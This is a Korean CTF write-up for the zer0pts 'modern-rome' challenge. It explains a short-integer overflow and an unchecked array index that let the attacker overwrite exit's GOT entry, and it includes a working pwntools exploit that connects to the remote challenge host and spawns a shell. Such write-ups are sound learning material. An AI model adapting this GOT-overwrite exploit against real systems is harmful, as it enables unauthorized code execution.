Problem
#include <string>
#include <iostream>
short buf[10];
void win() {
std::system("/bin/sh");
}
short readroman(){
short res = 0;
std::string s;
std::cin >> s;
auto it = s.crbegin();
int b = 1;
for (auto c: "IXCM") {
int cnt = 0;
while (cnt < 9 && it != s.crend() && *it == c) {
it++;
cnt++;
}
res += b * cnt;
b *= 10;
}
return res;
}
int main() {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "ind: ";
int ind = readroman();
std::cout << "val: ";
int val = readroman();
std::cout << "buf[" << ind << "] = " << val << std::endl;
buf[ind] = val;
std::exit(0);
}
코드를 제공해주어서 편하게 분석할 수 있다.
해당 문제는 처음에 C++이어서 쫄았으나 코드 구성을 보고 buf에서 발생하는 OOB를 이용하여 exit.got를 overwrite하는 문제임은 금방 알 수 있었다.
문제를 푸는 당시에는 “IXCM”로마 숫자를 통해 buf 및 value를 입력받는 것은 알 수 있었으나, 해당 값으로는 최대 9999밖에 입력할 수 없어 그냥 포기하고 dreamhack으로 공부나 하러 튀었었다.
문제 풀이가 끝나고 writeup을 기다리고 있었으나 modern-rome 문제는 writeup을 찾을 수 없었고 디스코드방을 보다가 “IXCM\0”이라는 힌트를 보고 풀 수 있어서 writeup을 작성한다.
solve
- C++에 대해서는 잘 몰랐는데 iteration은 배열을 돌 때 “\x00”까지 돈다고 함 (이 부분은 아직 잘 모르겠음) 구조 상 “\x00”까지 돌게되면 99999까지 입력할 수 있음 ⇒ short overflow
- buf[idx]에서 idx를 검사하지 않음 ⇒ OOB
- exit.got overwrite
exploit code
from pwn import *
# p = process("./chall")
p = remote("pwn1.ctf.zer0pts.com", 9000)
e = ELF("./chall")
buf_addr = 0x404340
win_addr = 0x4012f6
exit_got = e.got["exit"]
print(f"buf_addr: {hex(buf_addr)}")
print(f"exit_got: {hex(exit_got)}")
print(f"win_addr: {hex(win_addr)}")
print(f"buf_addr - exit_got: {buf_addr - exit_got}")
# pause()
payload = b'\x00' * 6
payload += b'M' * 5
payload += b'C' * 1
payload += b'X' * 6
payload += b'I' * 4
p.sendlineafter(b"ind: ", payload)
payload = b'M' * 4
payload += b'C' * 8
payload += b'X' * 5
payload += b'I' * 4
p.sendlineafter(b"val: ", payload)
p.interactive()